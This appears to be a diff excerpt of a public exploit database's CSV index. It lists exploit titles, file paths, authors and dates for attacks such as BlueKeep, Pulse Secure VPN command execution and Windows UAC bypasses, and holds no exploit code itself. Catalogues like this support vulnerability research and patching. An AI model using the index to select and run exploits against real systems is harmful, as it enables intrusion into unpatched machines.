47685,exploits/windows_x86-64/local/47685.txt,"DOUBLEPULSAR (x64) - Hooking 'srv!SrvTransactionNotImplemented' in 'srv!SrvTransaction2DispatchTable'",2019-11-03,Mumbai,local,windows_x86-64,
|
||||
47695,exploits/windows/local/47695.rb,"Windows - Escalate UAC Protection Bypass (Via dot net profiler) (Metasploit)",2019-11-20,Metasploit,local,windows,
|
||||
47696,exploits/windows/local/47696.rb,"Windows - Escalate UAC Protection Bypass (Via Shell Open Registry Key) (Metasploit)",2019-11-20,Metasploit,local,windows,
|
||||
47701,exploits/unix/local/47701.rb,"Xorg X11 Server - Local Privilege Escalation (Metasploit)",2019-11-20,Metasploit,local,unix,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
@ -17804,6 +17810,10 @@ id,file,description,date,author,type,platform,port
|
|||
47673,exploits/linux/remote/47673.py,"nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)",2019-11-18,"Guy Levin",remote,linux,
|
||||
47683,exploits/windows_x86/remote/47683.py,"Microsoft Windows 7 (x86) - 'BlueKeep' Remote Desktop Protocol (RDP) Remote Windows Kernel Use After Free",2019-11-19,0xeb-bp,remote,windows_x86,
|
||||
47686,exploits/linux/remote/47686.py,"Cisco Prime Infrastructure Health Monitor HA TarArchive - Directory Traversal / Remote Code Execution",2019-05-17,mr_me,remote,linux,
|
||||
47697,exploits/multiple/remote/47697.rb,"FusionPBX - Operator Panel exec.php Command Execution (Metasploit)",2019-11-20,Metasploit,remote,multiple,
|
||||
47698,exploits/multiple/remote/47698.rb,"FreeSWITCH - Event Socket Command Execution (Metasploit)",2019-11-20,Metasploit,remote,multiple,
|
||||
47699,exploits/php/remote/47699.rb,"Bludit - Directory Traversal Image File Upload (Metasploit)",2019-11-20,Metasploit,remote,php,
|
||||
47700,exploits/multiple/remote/47700.rb,"Pulse Secure VPN - Arbitrary Command Execution (Metasploit)",2019-11-20,Metasploit,remote,multiple,
|
||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||
|
@ -42001,3 +42011,4 @@ id,file,description,date,author,type,platform,port
|
|||
47688,exploits/multiple/webapps/47688.md,"Apache Httpd mod_proxy - Error Page Cross-Site Scripting",2019-10-14,"Sebastian Neef",webapps,multiple,
|
||||
47689,exploits/multiple/webapps/47689.md,"Apache Httpd mod_rewrite - Open Redirects",2019-10-14,"Sebastian Neef",webapps,multiple,
|
||||
47690,exploits/multiple/webapps/47690.md,"WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts",2019-10-14,"Sebastian Neef",webapps,multiple,
|
||||
47691,exploits/php/webapps/47691.sh,"OpenNetAdmin 18.1.1 - Remote Code Execution",2019-11-20,mattpascoe,webapps,php,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue